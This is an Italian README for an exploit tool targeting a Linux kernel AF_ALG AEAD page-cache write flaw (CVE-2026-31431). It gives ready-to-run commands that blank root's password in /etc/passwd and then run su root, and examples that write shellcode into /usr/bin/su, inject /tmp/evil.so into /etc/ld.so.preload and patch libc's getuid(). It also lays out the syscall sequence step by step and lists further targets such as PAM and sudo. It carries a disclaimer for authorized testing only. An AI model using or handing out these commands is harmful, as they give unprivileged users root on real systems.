
Exploit per CVE-2026-31431, una vulnerabilità di scrittura nella page-cache AF_ALG AEAD del kernel Linux che consente a utenti non privilegiati di effettuare scritture arbitrarie di 4 byte su file leggibili per l'escalation dei privilegi locali.
Vulnerabilità di scrittura fuori dai limiti nella page cache del kernel Linux (errore nella catena SGL di AF_ALG AEAD)
L'interfaccia algif_aead del kernel Linux presenta una vulnerabilità che consente a un utente non privilegiato di scrivere dati arbitrari nella page cache di qualsiasi file leggibile — bypassando completamente i controlli sui permessi dei file, il controllo degli accessi obbligatorio (MAC) e i controlli di integrità.
Il contenuto del file su disco non viene modificato, ma tutti i processi che successivamente leggono il file (inclusi programmi SUID, linker dinamico, execve(), ecc.) vedranno la versione alterata dall'attaccante, fino a quando la page cache non viene recuperata.
| Elemento | Descrizione |
|---|---|
| Sottosistema | crypto/algif_aead.c |
| Algoritmo | authencesn(hmac(sha256),cbc(aes)) |
| Configurazione kernel | CONFIG_CRYPTO_USER_API_AEAD=y/m (abilitato di default in quasi tutte le distribuzioni principali) |
| Privilegi richiesti | Nessuno — è sufficiente avere permessi di lettura sul file bersaglio |
| Livello di gravità | Escalation locale → root |
| Distribuzioni interessate | Ubuntu, Debian, Fedora, RHEL, Arch, openSUSE, ecc. |
Quando si esegue la decrittazione AEAD tramite AF_ALG:
sendmsg() + MSG_MORE, inclusi 4 byte di seqno_lo controllati dall'attaccante.splice(), le pagine della page cache del file bersaglio vengono iniettate nella SGL di trasmissione (TX SGL) del sottosistema crittografico del kernel.sg_chain.authencesn scrive seqno_lo all'offset assoclen + cryptlen della SGL di destinazione — una posizione che oltrepassa il buffer di ricezione e ricade direttamente nelle pagine della page cache collegate.EBADMSG, ma la page cache è già stata alterata. sendmsg (AAD) splice (pagine file)
│ │
▼ ▼
┌──────────┐ sg_chain ┌──────────────────────┐
│ RX buffer │─────────────▶│ Pagina page cache │
│ 8 byte │ │ (contenuto file) │
└──────────┘ └──────────────────────┘
▲
│
authencesn scrive qui seqno_lo
offset = assoclen + cryptlen
════ qui si trova la vulnerabilità ════
seqno_lo sono completamente controllati dall'attaccante nell'AAD (cosa scrivere)splice determina l'offset di scrittura nella page cache (dove scrivere)# Altera la page cache di /etc/passwd, rimuove la password di root, esegue automaticamente su root
./exploit.py escalate
Processo di esecuzione:
/etc/passwd in /tmp/.passwd.bakroot:x:0:0:root:... in root::0:0:root :...su root (senza password)Esempio di output:
[*] CVE-2026-31431 — Copy Fail
[*] Modalità: rimozione password di root tramite /etc/passwd
[*] Backup: /tmp/.passwd.bak
[*] Prima : root:x:0:0:root:/root:/bin/bash
[*] Dopo : root::0:0:root :/root:/bin/bash
[*] Offset : 0
[0x000000] 726f6f74 root
[0x000004] 3a3a303a ::0:
[0x000008] 303a726f 0:ro
[0x00000c] 6f742020 ot
[0x000010] 3a2f726f :/ro
[0x000014] 6f743a2f ot:/
[0x000018] 62696e2f bin/
[0x00001c] 62617368 bash
[+] Successo: root::0:0:root :/root:/bin/bash
[*] Ripristino: echo 3 > /proc/sys/vm/drop_caches
[*] Esecuzione: su root (nessuna password richiesta)
# Sintassi di base
./exploit.py write <percorso_file> <offset> <dati>
# Legge il payload da un file binario
./exploit.py write <percorso_file> <offset> @payload.bin
# Scrive shellcode nel punto di ingresso di un programma SUID
./exploit.py write /usr/bin/su 0x1040 @shellcode.bin
# Inietta il percorso di una libreria preload
./exploit.py write /etc/ld.so.preload 0 '/tmp/evil.so\n'
# Altera una funzione di libc (ad es. fa sì che getuid() restituisca 0)
./exploit.py write /usr/lib/libc.so.6 0x284a0 '\x31\xc0\xc3\x90'
# Metodo 1: cancella tutta la page cache, ripristina il contenuto originale dal disco
echo 3 > /proc/sys/vm/drop_caches
# Metodo 2: riavvio
reboot
socket(AF_ALG, SOCK_SEQPACKET, 0)
→ bind("aead", "authencesn(hmac(sha256),cbc(aes))")
→ setsockopt(SOL_ALG, ALG_SET_KEY, authenc_blob_chiave)
→ setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4)
→ accept() → fd di richiesta
┌─────────────────────────────────────────────┐
│ rta_len (2B) │ rta_type (2B) │ enckeylen (4B) │
│ 0x0008 │ 0x0001 │ 0x00000010 │
├─────────────────────────────────────────────┤
│ Chiave di autenticazione (16 byte di zeri) │
├─────────────────────────────────────────────┤
│ Chiave di cifratura (16 byte di zeri) │
└─────────────────────────────────────────────┘
Il valore della chiave è irrilevante — l'HMAC fallirà inevitabilmente, ma la scrittura fuori dai limiti avviene prima della verifica.
Passo 1: sendmsg(req_fd,
AAD = [seqno_hi(4B) | seqno_lo(4B)], ← seqno_lo = valore da scrivere
cmsg = [OP=DECRYPT, IV=zeri, ASSOCLEN=8],
flags = MSG_MORE)
Passo 2: pipe_r, pipe_w = pipe()
Passo 3: splice(target_fd → pipe_w, count = file_offset + 4, offset_src = 0)
Passo 4: splice(pipe_r → req_fd, count = file_offset + 4)
Passo 5: recv(req_fd, ASSOC_LEN + file_offset)
→ attiva la decrittazione authencesn
→ seqno_lo viene scritto all'offset assoclen + cryptlen della dst SGL
→ tale offset ricade nella pagina della page cache a file_offset
→ HMAC fallisce, restituisce EBADMSG
→ la page cache è già stata alterata ✓
Layout della dst SGL:
[0 .. 7] → RX buffer (area ricezione AAD)
[8 .. 8 + file_offset + 3] → pagina page cache (iniettata via splice)
Posizione di scrittura di seqno_lo:
dst[assoclen + cryptlen]
= dst[8 + file_offset]
= file_offset nella page cache
∴ l'attaccante controlla file_offset → controlla la posizione di scrittura
l'attaccante controlla seqno_lo → controlla il contenuto scritto
.
├── exploit.py # Script di exploit autonomo (richiede solo Python 3 + Linux)
└── README.md # Questo file
Questo strumento è destinato esclusivamente a ricerca sulla sicurezza e test di penetrazione autorizzati. L'uso non autorizzato di questo strumento per attaccare i sistemi di altri è illegale. L'utente si assume ogni responsabilità legale.
| Vincolo | Descrizione |
|---|
| Permessi di lettura | Il file bersaglio deve essere leggibile dall'utente corrente (O_RDONLY) |
| Allineamento | Scrittura di 4 byte per volta; la coda inferiore a 4 byte viene riempita con 0x90 |
| Dimensione file | La dimensione del file deve essere ≥ offset + lunghezza_dati + 4 byte |
| Solo page cache | Il contenuto del file su disco non viene modificato |
| Persistenza | Valido finché la page cache non viene recuperata o cancellata manualmente |
| Configurazione kernel | Richiede AF_ALG + authencesn disponibili (presenti di default nelle distribuzioni principali) |
| Percorso di attacco | File bersaglio | Effetto |
|---|
| Rimozione password di root | /etc/passwd | su root senza password |
| Iniezione libreria preload | /etc/ld.so.preload | Tutti i programmi caricano il .so malevolo |
| Alterazione programma SUID | /usr/bin/su, ecc. | Esecuzione di shellcode per ottenere shell root |
| Alterazione libc | /usr/lib/libc.so.6 | Hijack di funzioni come getuid() per restituire 0 |
| Alterazione modulo PAM | /usr/lib/security/pam_unix.so | Bypass di tutta l'autenticazione |
| Alterazione sudo | /usr/bin/sudo | Qualsiasi utente ottiene direttamente root |